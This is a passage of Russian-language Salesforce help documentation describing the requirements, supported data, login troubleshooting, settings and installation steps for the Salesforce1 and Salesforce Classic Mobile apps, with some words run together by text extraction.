Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

Приложение Salesforce1 доступно для большинства версий Salesforce и многих типов
лицензий. Приложение поддерживается разными мобильными платформами, но
отличаетсяналичиемнекоторыхтребованийкиспользуемомуустройству, операционной
системеимобильномуобозревателю. Обменданнымиссистемой Salesforce выполняется
только при наличии подключения к Интернету.

Поддерживаемые устройства и обозреватели

Salesforce1 поддерживает книжную ориентацию в следующих средах.

Поддерживаемый
мобильный обозреватель

Поддерживаемая
мобильная ОС

Поддерживаемые
устройства

Приложение Salesforce1

Не применимоiOS 8 или более поздней
версии

iPhone 5 или более поздние
модели

iPad 4 или более поздние
модели (включая iPad Air 2 и
iPad Pro)

Загружаемое приложение
для устройств iOS (7.3.3 или
более поздней версии)

iPad mini 2 или более поздние
модели

Apple Watch (тольковсплывающие
уведомления)

Не применимоAndroid 4.4 или более
поздней версии

Телефоны AndroidЗагружаемое приложение
для устройств Android (8.0
илиболеепозднейверсии)
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Поддерживаемый
мобильный обозреватель

Поддерживаемая
мобильная ОС

Поддерживаемые
устройства

Приложение Salesforce1

Apple Safari

Good Access

iOS 8 или более поздней
версии

iPhone 5 или более поздние
модели

iPad 4 или более поздние
модели (включая iPad Air 2 и
iPad Pro)

Мобильное
веб-приложение

iPad mini 2 или более поздние
модели

Google Chrome

Good Access

Android 4.4 или более
поздней версии

Телефоны Android

Планшетные компьютеры
Android

Microsoft Internet Explorer 11Обновление Windows 8.1
Update

Телефоны Nokia Lumia 1020 и
HTC 8X

Обозреватель BlackBerryBlackBerry OS 10.2 или более
поздней версии

Телефоны BlackBerry Z10

(Поддержказавершаетсязимой
2017 г.)

Обозреватель BlackBerryBlackBerry OS 10.2.1.3175 или
более поздней версии

Телефоны BlackBerry Z30

(Поддержказавершаетсязимой
2017 г.)

С целью оптимизации производительности Salesforce1 рекомендуется своевременно обновлять операционные системы
мобильных устройств и переходить на новые модели устройств, если это предусмотрено контрактом с поставщиком
услуг связи. Будущие версии Salesforce1 могут потребовать отмены поддержки устаревших операционных систем, кроме
того, иногда новые версии операционных систем имеют связанные с производительностью проблемы на старых
устройствах.

При использованиимобильного обозревателя рекомендуется отключить режим инкогнито в Chrome, просмотр InPrivate
в Internet Explorer или «Частный доступ» в Safari или обозревателе BlackBerry.

Версии и лицензии Salesforce

НижеперечисленыверсиисистемыSalesforceитипылицензийпользователя, поддерживающиеиспользованиеприложения
Salesforce1.

Версии Salesforce

Версия Database.com Edition не
поддерживается.

Ниже перечислены версии системы
Salesforce, поддерживающие
использованиеприложенияSalesforce1.

• Personal Edition

• Group Edition

• Professional Edition

• Enterprise Edition

• Performance Edition
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• Unlimited Edition

• Developer Edition

• Contact Manager Edition

Типы лицензий пользователя

Данные типы лицензий не
поддерживаются: пользователи

Ниже перечислены типы лицензий,
поддерживающие использование

• Пользователи Salesforce

• Пользователи Salesforce Platform и
Force.com

приложения Salesforce1. Наличие
специальнойлицензии Salesforce1или
мобильной лицензии не требуется.

портала (кромеучастниковсообщества
Salesforce), пользователи Database.com,
пользователи Sites и Site.com,
пользователиData.comипользователи
Work.com.

• Пользователи Chatter Plus (или
Chatter Only), пользователи Chatter
Free ипользователиChatter External*

• Внешние пользователи Customer
Community, Customer Community Plus
и Partner Community

• Пользователипортала, являющиеся
участниками сообщества Salesforce

Прим.: Приложение поддерживает данные и функции, доступные пользователю в полной версии системы, — в
зависимости от используемой версии Salesforce и типа лицензии пользователя, а также назначенного профиля и
набора полномочий.
*Пользователям Chatter Plus, Chatter Free и Chatter External должно быть предоставлено полномочие профиля «API
включен» дляиспользованиялюбого загружаемогоприложения Salesforce1. ПользователиChatter External, имеющие
API-доступ, немогутпросматривать списковыепредставления «Группы» и «Люди» прииспользованиизагружаемого
приложения.

Беспроводное подключение

Подключение к системе Salesforce должно быть установлено по протоколу Wi-Fi® или сети мобильной связи. При
подключениипосетимобильнойсвязитребуетсясеть 3G илиследующегопоколения. Дляповышенияпроизводительности
рекомендуем использовать протокол Wi-Fi или LTE.

При использовании одного из загружаемых приложений Salesforce1 последние использованные записи могут
просматриваться в автономном режиме.

СМ. ТАКЖЕ:

Поддержка языковых и региональных настроек для приложения Salesforce1

Рекомендации по доступности мобильного приложения Salesforce1

Какие данные доступны в мобильном приложении Salesforce1?
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Какие данные доступны в мобильном приложении Salesforce1?

ВЕРСИИ

Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

Данные, доступныепользователювприложенииSalesforce1, определяютсяиспользуемой
версией Salesforce и типом лицензии пользователя, а также назначенным профилем и
набором полномочий. Как правило, доступные объекты, типы записей, поля и макеты
страниц аналогичны полной версии системы Salesforce. Тем не менее, приложение
Salesforce1 поддерживает не все данные и функции Salesforce.

Нижеперечисленыобъекты, доступныевприложении Salesforce1. Еслине указаноиное,
то пользователи могут просматривать, редактировать или создавать записи для данных
объектов.

• Организации/Организации-лица

• Активы (просмотр или редактирование только в загружаемых приложениях)

• Кампании

• Обращения

• Контакты

• Контракты

• Компания D&B (только просмотр, для клиентовData.com Premium Prospector и Data.com Premium Clean)

• Панели мониторинга (только просмотр)

• События

• Интересы

• Транскрипты Live Chat

• Возможности

• Заказы (только просмотр или редактирование)

• Отчеты (только просмотр)

• Статьи «Знания Salesforce» (только просмотр)

• Задачи

• Обучение, цели, благодарности, наградыинавыкиWork.com (навыкинедоступныпри использовании загружаемого приложения
iOS)

• Рабочие заказы (просмотр или редактирование только в загружаемых приложениях)

• Настраиваемые объекты, имеющие доступную вкладку

• Внешние объекты Lightning Connect, доступные для поиска и имеющие вкладку, к которой можно получить доступ

Все данные объекты доступны посредством меню навигации приложения Salesforce1. Меню навигации позволяет
концентрировать свое внимание на часто используемых объектах. Чтобы просмотреть полный список всех объектов,
доступных в приложении Salesforce1, коснитесь «Больше» внизу раздела «Недавние».

Приложениеподдерживаетпочтивсестандартныеинастраиваемыеполяданныхзаписей. Такжеприложениепредоставляет
доступ к большинству связанных списков для поддерживаемых объектов.

Совет: Прииспользованиисистемы Salesforce впервыеиотсутствиижурналанедавнихэлементовраздел «Недавние»
менюнавигацииприложенияSalesforce1изначальноотображаетследующиеобъекты: «Организации», «Обращения»,
«Контакты», «Файлы», «Группы» (при отсутствии в меню навигации), «Интересы», «Возможности» и «Люди» (при
отсутствии в меню навигации).
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По мере использования приложения Salesforce1 и полной версии системы Salesforce объекты, используемые чаще
других, со временем заменяют стандартные элементы раздела «Недавние» и становятся объектами, доступными для
глобальных поисков в приложении Salesforce1.

Раздел «Недавние» может заполняться объектами в течение 15 дней при условии их регулярного использования.
Чтобыускорить данныйпроцесс, зафиксируйтенужныеобъекты врезультатахпоиска, выполненногопосредством
полной версии системы.

Глобальный поиск, выполняемый в приложении Salesforce1, охватывает только записи объектов, отображаемых в
разделе «Недавние». Чтобы найти записи для других объектов, доступных в полном списке объектов, выполните
поиск на начальной странице объекта.

Приложение, поддерживающее Chatter, позволяет просматривать ленты, профили пользователей группы и файлы.
Профили пользователей можно просматривать даже если Chatter отключен.

Пользователям загружаемого приложения Salesforce1 доступно приложение Salesforce Today, предназначенное для
подготовки к конференциям, взаимодействия с клиентами, быстрого подключения к конференц-связям и управления
собственным рабочим днем.

СМ. ТАКЖЕ:

Требования по использованию мобильного приложения Salesforce1

Данные, поддерживаемые приложением Salesforce1: ограничения и отличия от полной версии Salesforce

Почему не удается выполнить вход в мобильное приложение Salesforce1?

ВЕРСИИ

Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

Несмотря на использование правильных регистрационных данных Salesforce,
пользователи могут испытывать сложности при входе в приложение Salesforce1. Ниже
перечислены некоторые распространенные причины неудачного входа.

• Убедитесь в наличии полномочия на использование приложения Salesforce1.
Администраторы Salesforce могут определять список лиц, которым должно быть
доступно использование загружаемых приложений Salesforce1, а также отменять
доступ к мобильному веб-приложению для отдельных пользователей или всей
компании. При наличии сомнений обратитесь к администратору.

• При использовании загружаемого приложения убедитесь, что вход выполняется посредством нужного экземпляра
(производственная среда, безопасная среда или настраиваемый домен). По умолчанию приложение Salesforce1
подключаетсякпроизводственнойсреде. Еслиорганизацияиспользуетединуюрегистрацию, рекомендуемразрешить
приложениюссылаться на другуюстраницу во время входа. Аналогичныйалгоритмдействителенприподключении
приложения Salesforce1 к безопасной среде в целях тестирования или входе посредством URL-адреса сообщества.

Настраиваемый домен использует формат https://universalcontainers.my.salesforce.com, где
компонент universalcontainers — этоимя, выбранноеадминистратором. Чтобыузнатьправильноеимядомена,
обратитесь к администратору.

– Чтобыподключить загружаемоеприложениедля устройств iOS к другому экземпляру, выполнитеданныедействия.

– Чтобы подключить загружаемое приложение для устройств Android к другому экземпляру, выполните данные
действия.
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При повторном возникновении проблемы входа обратитесь за помощью к администратору.

СМ. ТАКЖЕ:

Получение мобильного приложения Salesforce1

Требования по использованию мобильного приложения Salesforce1

Поиск справки в мобильном приложении Salesforce1

ВЕРСИИ

Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

Приложение Salesforce1 содержит ссылку «Справка», предназначеннуюдля просмотра
общих сведений об использовании мобильного приложения.

Ссылка«Справка»отображаетсявнизуменюнавигацииприложенияSalesforce1. Чтобы
открыть меню навигации, коснитесь значка .

Компания salesforce.com предоставляет большое количество других ресурсов,
позволяющих начать работу с приложением Salesforce1. Просмотрите ресурсы справки
для мобильного приложения Salesforce1 на странице 105.

Ресурсы справки для мобильного приложения Salesforce1

ВЕРСИИ

Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

Данные ресурсы содержат сведения об использовании мобильного приложения
Salesforce1, настройке организации и разработке для приложения.

Начало работы с приложением Salesforce1

Руководства

PDFИспользование приложения Salesforce1

Разделы справки

HTMLНачало работы с мобильным приложением Salesforce1

HTMLФункции мобильного приложения Salesforce1: функции,
доступные в каждой версии

HTMLТребования по использованию мобильного приложения
Salesforce1

HTMLКакиеданныедоступнывмобильномприложенииSalesforce1?

HTMLПолучение мобильного приложения Salesforce1

HTMLОграничения и отличия приложения Salesforce1 от полной
версии Salesforce

Справка в приложении

HTMLЗагружаемое приложение Salesforce1 для телефонов iPhone

HTMLЗагружаемое приложение Salesforce1 для устройств iPad

HTMLЗагружаемое приложение Salesforce1 для телефонов Android
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HTMLМобильное веб-приложение Salesforce1 для мобильных телефонов

HTMLМобильное веб-приложение Salesforce1 для планшетных компьютеров

Видеоролики Salesforce1

ВидеороликИспользование задач в мобильном приложении

ВидеороликМобильный доступ к организациям и контактам

Настройка приложения Salesforce1

Руководства и памятки

HTMLPDFРаздел «Salesforce1» документа «Примечания к выпуску Spring'16 системы Salesforce»

HTMLPDFРуководство администратора мобильного приложения Salesforce1

HTMLРуководство по развертыванию администратора приложения Salesforce1

PDFПамятка администратора приложения Salesforce1

Разделы справки

HTMLНастройка мобильного приложения Salesforce1 посредством мастера Salesforce1

HTMLПараметры настройки мобильного приложения Salesforce1

HTMLПорядок отображения действий на панели действий приложения Salesforce1

HTMLФирменный стиль нашей организации в мобильном приложении Salesforce1

HTMLВключение страниц Visualforce для мобильного приложения Salesforce1

HTMLАвтономный доступ к мобильному приложению Salesforce1

Разработка для приложения Salesforce1

Руководства и памятки

PDFПамятка разработчика приложения Salesforce1

HTMLPDFРуководство разработчика приложения Salesforce1

PDFСхемы URL-адресов для мобильного приложения Salesforce1 на устройствах Android
и iOS

PDFРуководство по мобильной безопасности Salesforce1
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Поддержка языковых и региональных настроек для приложения Salesforce1

ВЕРСИИ

Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

ПриложениеSalesforce1поддерживаетпрактическивсерегионы, основныеязыкииязыки
конечногопользователя, доступныевсистемеSalesforce. (Полныйсписокподдерживаемых
регионов и языков см. в справке Salesforce.) Текущий выпуск не поддерживает языки,
читаемые справа налево (например, арабский и еврейский).

Прим.: Загружаемыеприложения Salesforce1используютязыковыеирегиональные
настройки, поддерживаемые профилем пользователя Salesforce и мобильным
устройствам. Если устройство использует региональные настройки, отличные от
профиля пользователя, то приложение может отображаться на разных языках.
Например, менюнавигацииможет отображатьсяна английскомязыке, а записи —
на французском.

ПриложениеSalesforce1поддерживаетмультивалюту, нонеподдерживаетфункциюрасширенногоуправлениявалютами.

СМ. ТАКЖЕ:

Требования по использованию мобильного приложения Salesforce1

Рекомендации по доступности мобильного приложения Salesforce1

ВЕРСИИ

Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

Приложение Salesforce1 поддерживает режим доступности и предоставляет всем
пользователям (включая пользователей, применяющих программы для чтения экрана)
полнодоступный мобильный интерфейс.

В отличие от полной версии системы Salesforce, приложение Salesforce1 предоставляет
пользователям, работающим со вспомогательными средствами, полнодоступный
интерфейс при отсутствии режима доступности.

Дополнительную информацию об использовании программы для чтения экрана см. в
документации к мобильному устройству.

СМ. ТАКЖЕ:

Требования по использованию мобильного приложения Salesforce1

Включение или отключение мобильного веб-приложения Salesforce1

ВЕРСИИ

Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

Если организация использует мобильное веб-приложение Salesforce1, то данное
приложение открывается автоматически при входе пользователя в систему Salesforce
посредствомподдерживаемогомобильногообозревателя. Мобильныйобозревательне
позволяет использовать полную версию системы Salesforce. При необходимости
выключите мобильное веб-приложение для получения временного доступа к Salesforce
Classic на мобильном устройстве.

Прим.: Отмена автоматической переадресации на мобильное веб-приложение
Salesforce1 блокирует автоматический доступ для любого поддерживаемого
обозревателя на любых используемых мобильных устройствах. Например,
мобильноевеб-приложение, отключенноепосредствомпланшетногокомпьютера,
также становится недоступным на мобильном телефоне.
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Данныедействияневлияютназагружаемыеприложения Salesforce1, которыевсегдаотображаютинтерфейсSalesforce1.

Чтобы отключить поддержку мобильного веб-приложения в самом приложении, выполните указанные ниже действия.

1. Коснитесь значка .

2. Коснитесь пункта «Полная версия».

Данное действие инициирует автоматическое открытие полной версии Salesforce Classic. Доступ к Lightning Experience
невозможен ни с какого мобильного обозревателя.

Теперь полная версия системы используется по умолчанию при каждом входе посредством мобильного обозревателя.
Чтобы переключиться на приложение Salesforce1, воспользуйтесь ссылкой «Перейти к Salesforce1», расположенной в
верхнем колонтитуле полной версии системы. Данное действие позволяет использовать мобильное веб-приложение по
умолчанию.

Чтобыотключитьподдержкумобильноговеб-приложениявполнойверсиисистемы, выполнитеуказанныенижедействия.

1. На странице личных параметров введите строку «Дополнительные сведения о пользователе» в поле «Быстрый поиск»,
затем выберите «Дополнительные сведения о пользователе». Нет результатов? Введите строку «Личные сведения»
в поле «Быстрый поиск» и выберите пункт «Личные сведения».

2. Снимите флажок «Пользователь Salesforce1».

3. Сохраните внесенные изменения.

Чтобы включить поддержку мобильного веб-приложения Salesforce1, повторите предыдущие действия и установите
флажок «Пользователь Salesforce1».

СМ. ТАКЖЕ:

Получение мобильного приложения Salesforce1

Требования по использованию мобильного приложения Salesforce1

Индивидуальная настройка системы Salesforce

Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

Приложение Salesforce Classic Mobileпредоставляетмобильныйдоступкданным Salesforce
на устройствах Android™, BlackBerry®и iPhone®. Приналичиилицензиинаполнуюверсию
приложения Salesforce Classic Mobile пользователи могут просматривать, создавать,
редактировать и удалять записи, отслеживать действия, просматривать панели
мониторинга и запускать простые отчеты, а также регистрировать вызовы и сообщения
эл. почты.

Любой пользователь Salesforce без мобильной лицензии может загрузить бесплатную
неполную версию приложения Salesforce Classic Mobile. Бесплатная версия позволяет
просматривать, создавать, редактироватьиудалятьтолькоорганизации, активы, контакты,
интересы, возможности, события, задачи, обращения и решения. Также приложение
предоставляет доступ к панелям мониторинга.

Прим.: Поддерживаемые функции определяются операционной системой и
моделью мобильного устройства.

Приложение Salesforce Classic Mobile хранит записи Salesforce в локальной базе данных
на мобильном устройстве, поэтому может использоваться даже в автономном режиме.
Благодаря периодическим опросам системы Salesforce, определяющим наличие новых
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и обновленных записей, приложение Salesforce Classic Mobile позволяет пользователям экономить время, необходимое
для синхронизации данных вручную.

Бесплатная версия приложения Salesforce Classic Mobile позволяет автоматически синхронизировать с мобильным
устройствомтольконедавнопросмотренные записи Salesforce. Принеобходимостипользователимогут выполнятьпоиск
записей, которые не загружаются на мобильные устройства автоматически. Элементы, загруженные пользователем из
системы Salesforce, добавляются в мобильный набор данных. Помимо недавно просмотренных записей, стандартная
конфигурация синхронизирует действия, закрытые за последние пять дней, и открытые действия, которые должны быть
закрыты в течение следующих 30 дней.

Чтобы проверить совместимость приложения Salesforce Classic Mobile и используемого смартфона, просмотрите список
поддерживаемых мобильных устройств.

Требования по использованию приложения Salesforce Classic Mobile

Установка приложения Salesforce Classic Mobile

Загрузка приложения Salesforce Classic Mobile из системы Salesforce по протоколу беспроводной связи

Использование Salesforce Classic Mobile. Вопросы и ответы

Требования по использованию приложения Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

Приложение Salesforce Classic Mobile поддерживается устройствами с операционной
системой Android, BlackBerry или iOS, а также почти всеми поставщиками беспроводной
связи (как правило, устройство, которое может быть подключено к Интернету, может
использоваться и для работы с мобильным приложением). Прежде чем установить
мобильноеприложение, убедитесь, чтооноподдерживаетсяиспользуемымустройством.
Мобильныеустройства, выпущенныенедавно, могутнеподдерживаться, так как сначала
должны быть официально сертифицированы и признаны качественными.

Примечания по использованию смартфонов BlackBerry

• Несмотря на соответствие операционной системы устройства минимальным
требованиям, его производительность может быть увеличена путем обновления
операционной системы до версии, поддерживаемой оператором сотовой связи.

• Операционная система BlackBerry 4.0–4.3 поддерживает загрузку и установку
приложения Salesforce Classic Mobile на мобильные устройства. Однако мобильный
серверопределяетиспользование устаревшейоперационнойсистемыиотправляет
пользователям последнюю совместимую версию — Salesforce Classic Mobile 11.6.
Данная версия не поддерживает новые функции текущего и будущих выпусков.

• Начиная с выпуска Winter'09 приложение Salesforce Classic Mobile официально не
поддерживает устройства BlackBerry серии 8700, но может дальше использоваться на данных моделях.

• Сенсорные и обычные устройства BlackBerry используют одинаковое приложение Salesforce Classic Mobile, поэтому
некоторые аспекты Salesforce Classic Mobile не предназначены для сенсорного интерфейса.

Примечания по использованию устройств iOS

Ниже перечислены ограничения, действующие при использовании приложения Salesforce Classic Mobile на устройствах
Apple.
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• Сторонние компании (в частности, корпорация Apple Inc. и поставщик сетевого подключения) могут ограничивать,
прерывать или блокировать использование приложения Salesforce Classic на устройствах iPhone и iPod Touch, либо
удалять приложение Salesforce Classic с устройств iPhone или iPod Touch, либо требовать выполнения любого из
перечисленных выше действий от компании Salesforce. Убытки клиента, возникшие в результате данных действий,
не возмещаются.

• Соглашения об уровне обслуживания не распространяются на приложение Salesforce Classic Mobile для iPhone.
Дополнительные ограничения перечислены в приложении к бланку заказа, условия которого должны быть приняты
пользователем при загрузке или установке приложения Salesforce Classic Mobile для iPhone.

СМ. ТАКЖЕ:

Сравнение мобильных продуктов Salesforce

Salesforce Classic Mobile

Установка приложения Salesforce Classic Mobile

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

Приложение Salesforce Classic Mobileможетбыть установленоналюбоеподдерживаемое
устройство Android, BlackBerry или iPhone.

Чтобы установить приложение Salesforce Classic Mobile, откройте страницу
http://mobile.salesforce.com на мобильном устройстве и выполните
инструкции, отображаемые на экране.

Или, в зависимости от типа устройства, выполните действия ниже.

Установка на устройства Android

Приложение Salesforce Classic Mobile доступно для загрузки в интернет-магазине Google
Play. Чтобы получить доступ к интернет-магазину Google Play, подключите устройство
Android к сети. Приложения могут загружаться только при наличии аккаунта Google.
Чтобы создать аккаунт Google (в случае его отсутствия), откройте страницу
https://accounts.google.com и нажмите кнопку «Зарегистрироваться».

Чтобы установить приложение Salesforce Classic Mobileиз интернет-магазина Google Play,
выполните указанные ниже действия.

1. Щелкните значок Google Play Store на экране «Приложения» устройства Android.

2. Коснитесь поля «Поиск» и введите salesforce.

3. Выберите приложение Salesforce Classic Mobile в результатах поиска.

4. Коснитесь кнопки «Загрузить».

5. Чтобы принять условия, коснитесь кнопки «Принять и загрузить».

6. Чтобы запустить приложение, коснитесь кнопки «Открыть».

7. Чтобы активировать приложение Salesforce Classic Mobile при его первом запуске на устройстве, выполните вход и
загрузку данных. Убедитесь, что телефон подключен к сети.

a. Коснитесь кнопки «Принимаю».

b. Введите имя пользователя и пароль Salesforce на экране активации.

c. Коснитесь кнопки «Активировать».

В зависимости от настроек организации, приложение может быть доступно только после ввода секретного кода.
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Установка на устройства BlackBerry

Приложение Salesforce Classic Mobile доступно для загрузки в интернет-магазине BlackBerry World. Приложения могут
загружаться на устройства BlackBerry только при наличии учетной записи BlackBerry World. Чтобы создать учетную запись,
воспользуйтесь мобильным устройством. Чтобы установить приложение Salesforce Classic Mobile из интернет-магазина
BlackBerry World, выполните указанные ниже действия.

1. Щелкните значок BlackBerry World.

Еслиданныйзначокнеотображается, загрузитеBlackBerry World. Преждечем установитьBlackBerry Worldна устройство,
просмотрите системные требования Research in Motion, так как некоторые смартфоны BlackBerry не поддерживают
интернет-магазин BlackBerry World.

2. Щелкните значок «Поиск».

3. Введите salesforce в поле «Поиск».

4. Выберите приложение Salesforce Classic Mobile в результатах поиска.

5. Нажмите кнопку «Загрузить».

6. По завершении установки нажмите кнопку «ОК».

7. Чтобыразрешитьприложениюдоступктелефону, нажмитекнопку«Разрешить»приотображениисоответствующего
запроса.

8. Чтобы разрешить приложению доступ к веб-узлу tp.mobile.salesforce.com, нажмите кнопку «Да» при отображении
соответствующего запроса.

9. Закройте интернет-магазин BlackBerry World.

10. Щелкните значок приложения, расположенный на начальном экране устройства или в папке «Приложения». При
использовании более новых устройств данный значок может отображаться в папке «Загрузки».

11. Чтобы активировать приложение Salesforce Classic Mobile при его первом запуске на устройстве, выполните вход и
загрузку данных. Убедитесь, что устройство подключено к сети.

a. Просмотрите лицензионное соглашение и нажмите кнопку «Принимаю».

b. Введите имя пользователя и пароль Salesforce.

Флажок «Показать пароль» установлен по умолчанию, так как многие пароли содержат специальные символы,
ввод которых на устройстве затруднен. Чтобы защитить пароль, снимите данныйфлажок.

c. Коснитесь кнопки «Активировать».

Загрузка данных выполняется после проверки имени пользователя и пароля Salesforce. Первоначальная загрузка
данных может занять несколько минут. Все обновления данных выполняются автоматически.

В зависимости от настроек организации, приложение может быть доступно только после ввода секретного кода.

Прим.: Если приложение Salesforce Classic Mobile не может быть загружено из интернет-магазина BlackBerry World,
рекомендуем установить приложение по протоколу беспроводной связи прямо из системы Salesforce.

Установка на устройства iPhone

Приложение Salesforce Classic Mobile доступно для загрузки в интернет-магазине Apple App Store. Чтобы получить доступ
кинтернет-магазину Apple App Store, подключите устройство iPhone или iPod Touch к сети. Приложениямогут загружаться
только при наличии учетной записи iTunes™ Store. Чтобы создать учетную запись iTunes Store, откройте проигрыватель
iTunes на компьютере и выберите «Магазин» > «Создать учетную запись...».
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ЧтобыустановитьприложениеSalesforce Classic Mobileизинтернет-магазинаApp Store, выполнитеуказанныенижедействия.

1. Коснитесь значка App Store на начальном экране устройства iPhone или iPod Touch.

2. Коснитесь значка «Поиск».

3. Чтобы открыть клавиатуру, коснитесь поля «Поиск». Введите salesforce.

4. Чтобы просмотреть сведения о приложении, выберите Salesforce Classic Mobile в списке результатов поиска.

5. Коснитесь «Бесплатно» и «Установить».

Прим.: Приложениедоступнодлябесплатнойзагрузкивинтернет-магазине App Store. Полнаяверсияприложения
Salesforce Classic Mobile доступна пользователям Enterprise Edition, Professional Edition, Unlimited Edition, Performance
Edition и Developer Edition, которым предоставлены мобильные лицензии. Любой пользователь Salesforce без
мобильной лицензии может загрузить бесплатную неполную версию приложения Salesforce Classic Mobile.

6. Введите имя пользователя и пароль iTunes Store и коснитесь кнопки «OK».

7. Чтобы активировать приложение Salesforce Classic Mobile при его первом запуске на устройстве, выполните вход и
загрузку данных. Убедитесь, что устройство подключено к сети.

a. Коснитесь значка Salesforce на начальном экране.

b. Коснитесь кнопки «Принимаю».

c. Введите имя пользователя и пароль Salesforce на экране активации.

d. Коснитесь кнопки «Активировать».

Внимание: Есливовремя активациизакрываетсяприложениеилиблокируется устройство, тооперационная
система iPhone приостанавливает и возобновляет процесс загрузки при следующем запуске приложения.

В зависимости от настроек организации, приложение может быть доступно только после ввода секретного кода.
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Загрузка приложения Salesforce Classic Mobile из системы Salesforce по протоколу
беспроводной связи

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Бесплатная версия доступна
в версиях: все версии, кроме
Database.com Edition.

Полная версия доступна в
версиях: Performance
Edition, Unlimited Edition и
Developer Edition.
Доступно за
дополнительную плату в
версиях: Professional
Edition и Enterprise Edition.

Интернет-магазин BlackBerry World — оптимальное место для загрузки приложения
Salesforce Classic Mobile, так как пользователи автоматически получают уведомления о
наличии новых версий приложения. Однако некоторые администраторы BlackBerry
блокируют доступ к интернет-магазину BlackBerry World на мобильных устройствах
пользователей. Пользователи BlackBerry, не имеющие доступа к интернет-магазину
BlackBerry World, могут установить приложение Salesforce Classic Mobile по протоколу
беспроводной связи прямо из системы Salesforce.

Чтобы загрузить приложение Salesforce Classic Mobileпопротоколу беспроводной связи,
выполните указанные ниже действия.

1. Откройте страницу mobile.salesforce.com/bb в мобильном обозревателе.

2. Выделите ссылку «Загрузить приложение» и выберите пункт меню «Получить
ссылку».

3. Выберите «Загрузить». Чтобы заменить устаревшую версию клиентского
приложения, выберите «Да» при отображении соответствующего запроса.

Прим.: Мобильное приложение доступно только при использовании
операционнойсистемы BlackBerry 4.3 илиболеепозднейверсии. Операционная
система BlackBerry 4.0—4.3 позволяет загружать и устанавливать мобильное
приложение. Однако, мобильныйсерверопределяетиспользованиеустаревшей
операционнойсистемыиотправляетпользователямпоследнююсовместимую
версию — 11.6. Даннаяверсияоперационнойсистемы BlackBerry неподдерживает
новые функции текущего и будущих выпусков.

4. Чтобы перезагрузить устройство, выберите «Перезагрузить».

5. Чтобы разрешить подключение HTTP, установите флажок tp.mobile.salesforce.com при отображении
соответствующего запроса. Прокрутите страницу вниз и выберите «Разрешить данное подключение».

6. Щелкните значок Salesforce Classic Mobile, доступный на начальном экране устройства или в папке Applications
(«Приложения»). Прииспользовании более новых устройств данный значок может отображаться в папке «Загрузки».

7. Просмотрите лицензионное соглашение и нажмите кнопку «Принимаю».

8. Введите имя пользователя и пароль Salesforce.

Флажок «Показать пароль» установлен по умолчанию, так как многие пароли содержат специальные символы, ввод
которых на устройстве затруднен. Чтобы защитить пароль, снимите данныйфлажок.

9. Выберите «Активировать».

Загрузка данных выполняется после проверки имени пользователя и пароля Salesforce. Первоначальная загрузка
данных может занять несколько минут. Все обновления данных выполняются автоматически в фоновом режиме.
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Использование Salesforce Classic Mobile. Вопросы и ответы

Нужна ли лицензия для использования Salesforce Classic Mobile?

Поддерживается ли приложение Salesforce Classic Mobile на моем телефоне?

Какие данные Salesforce сохраняются на моем устройстве, когда я использую приложение Salesforce Classic Mobile?

Можно ли использовать приложение Salesforce Classic Mobile для просмотра недоступных записей Salesforce?

Как часто приложение Salesforce Classic Mobile обновляет мои данные?

Как использовать приложение Salesforce Classic Mobile для доступа к записям, отсутствующим на моем мобильном
устройстве?

Открывает ли приложение Salesforce Classic Mobile связанную запись контакта при входящем вызове?

Нужна ли лицензия для использования Salesforce Classic Mobile?

Нужна мобильная лицензия для использования полной версии Salesforce Classic Mobile. Любой пользователь Salesforce
без мобильной лицензии может загрузить бесплатную неполную версию приложения Salesforce Classic Mobile.

Бесплатная версия позволяет просматривать, создавать, редактировать и удалять только организации, активы, контакты,
интересы, возможности, события, задачи, обращения и решения. Также приложение предоставляет доступ к панелям
мониторинга.Бесплатная версия синхронизирует записи, которые просматривались на веб-сайте Salesforce последними,
а также поддерживает поиск записей, которые не были автоматически загружены на устройство. Начиная с выпуска
Summer'13 бесплатная версия приложения Salesforce Classic Mobile доступна всем новым организациям по умолчанию.
При необходимости включите данное приложение для предоставления пользователям доступа к системе Salesforce на
мобильных устройствах.

Если вам дали мобильную лицензию, но ваш администратор еще не настроил вашу мобильную конфигурацию, вы
можете активировать Salesforce Classic Mobile с помощью мобильной конфигурации по умолчанию. Стандартная
конфигурация автоматически синхронизирует недавно просмотренные записи Salesforce с мобильным устройством.
Крометого, даннаяконфигурацияподдерживаетпоискизагрузкузаписейSalesforce, недоступныхнамобильномустройстве.

Чтобы проверить наличие мобильной лицензии для используемой учетной записи, предоставляющей доступ к полной
версии приложения Salesforce Classic Mobile, просмотрите личные параметры.

• Если флажок «Пользователь Mobile» установлен, то приложение Salesforce Classic Mobile доступно для установки и
использования. Если флажок «Пользователь Mobile» выбран, но поле «Mobile Configuration» пустое, вы
можете активировать Salesforce Classic Mobile с помощью мобильной конфигурации по умолчанию.

• Если флажок «Пользователь Mobile» не установлен, то пользователям Enterprise, Professional, Unlimited, Performance
или Developer Edition доступна бесплатная версия приложения Salesforce Classic Mobile. Чтобы проверить доступ к
бесплатной версии приложения Salesforce Classic Mobile, обратитесь к администратору.

Прим.: По умолчаниюфлажок «Пользователь Mobile» не установлен для новых пользователей Unlimited Edition
и Performance Edition.

